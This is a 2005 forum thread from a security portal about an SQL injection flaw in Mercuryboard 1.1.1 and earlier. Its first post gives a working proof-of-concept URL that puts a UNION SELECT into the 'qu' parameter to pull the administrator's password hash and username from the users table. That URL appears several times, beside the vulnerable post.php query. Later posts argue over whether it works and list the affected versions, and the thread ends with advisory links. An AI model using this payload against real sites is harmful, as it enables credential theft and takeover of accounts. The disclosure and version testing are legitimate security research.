Waraxe IT Security Portal
Login or Register
June 26, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 153
Members: 0
Total: 153
Full disclosure
OpenBSD mpls_do_error: Remote Kernel Stack Disclosure via MPLS Label Stack Over-read
OpenBSD sppp_pap_input: PAP authentication bypass
SEC Consult SA-20260618-0 :: Hardcoded Root Cloud Credentials in Application Binaries in Silver Leaf Technologies - Worksnaps.net Worksnaps
SEC Consult SA-20260617-1 :: Multiple Vulnerabilities in Quanos Content Solutions - SCHEMA ST4
SEC Consult SA-20260617-0 :: Multiple Critical Vulnerabilities in Sprecher Automation SPRECON-E-C/-E-P/-E-T3
SEC Consult SA-20260616-0 :: Broken Access Control in syracom AG Secure Login (2FA) for Atlassian Jira / Confluence / Bitbucket #CVE-2026-12225
APPLE-SA-06-16-2026-1 Beats Firmware Update 1B211
PHP 8.5.7 `levenshtein()` signed-integer overflow
PHP 8.5.7 `dom_xml_serialization_al gorithm()` stack-overflow
PHP 8.5.7 `mb_substr()` 'SJIS-mac' size_t underflow
PHP 8.5.7 `FILTER_SANITIZE_ENCODED` uninitialized read
CVE-2025-68624: Cross-Tenant Authentication Bypass by Spoofing in N-able Mail Assure
SEC Consult SA-20260615-1 :: Multiple Vulnerabilities in Wertheim SafeController Hardware for VAULT ROOMS (Safe Deposit Locker System – Microcontroller)
SEC Consult SA-20260615-0 :: Multiple Critical Vulnerabilities in Wertheim SafeController Software for VAULT ROOMS (Safe Deposit Locker System)
SEC Consult SA-20260610-0 :: Local Privilege Escalation in Slate Digital Connect (macOS)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Critical Sql injection in Mercuryboard <= 1.1.1
Post new topicReply to topic View previous topic :: View next topic
Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 08, 2005 10:22 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Wed Feb 09, 2005 8:08 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




Zeelock wrote:
I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock



yes men, i test all versions not work in all, this exploit is fake or not complete exploit
View user's profile Send private message Visit poster's website
wtf!!!
PostPosted: Wed Feb 09, 2005 8:32 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Argentino...!!!

That's my improvement... it works, just try it Very Happy

With this one you see the full hash and username of the admin.


http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*


The trick is in the "qu" variable. You'll see everything in the form

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PostPosted: Fri Feb 11, 2005 5:27 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




yes men very good work zeelock Very Happy
View user's profile Send private message Visit poster's website
Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 5:52 am Reply with quote
Lostmon
Regular user
Regular user
Joined: Jul 24, 2004
Posts: 6
Location: spain




hello !!

i?m currenly documenting this vuln and make probes in
mercuryboard 1.0.x and 1.1.x
any of this xploits working
but is shure what can inject sql commands...

have any more proof of concept ??

Thnx

_________________
--
La curiosidad es lo que hace mover la mente
View user's profile Send private message Send e-mail Visit poster's website
Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 12:50 pm Reply with quote
Lostmon
Regular user
Regular user
Joined: Jul 24, 2004
Posts: 6
Location: spain




Oks

After making some several probes whith some versions
this is the result

Mercuryboard 1.1.2 Not Affected
Mercuryboard 1.1.0 Affected
Mercuryboard 1.0.1 Affected
Mercuryboard 1.0.2 Affected

thnx !!!!!

_________________
--
La curiosidad es lo que hace mover la mente
View user's profile Send private message Send e-mail Visit poster's website
For more info:
PostPosted: Wed Feb 16, 2005 8:34 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




http://www.securityfocus.com/bid/12503

http://www.securityfocus.com/archive/1/389881

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
Critical Sql injection in Mercuryboard <= 1.1.1
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.028 Seconds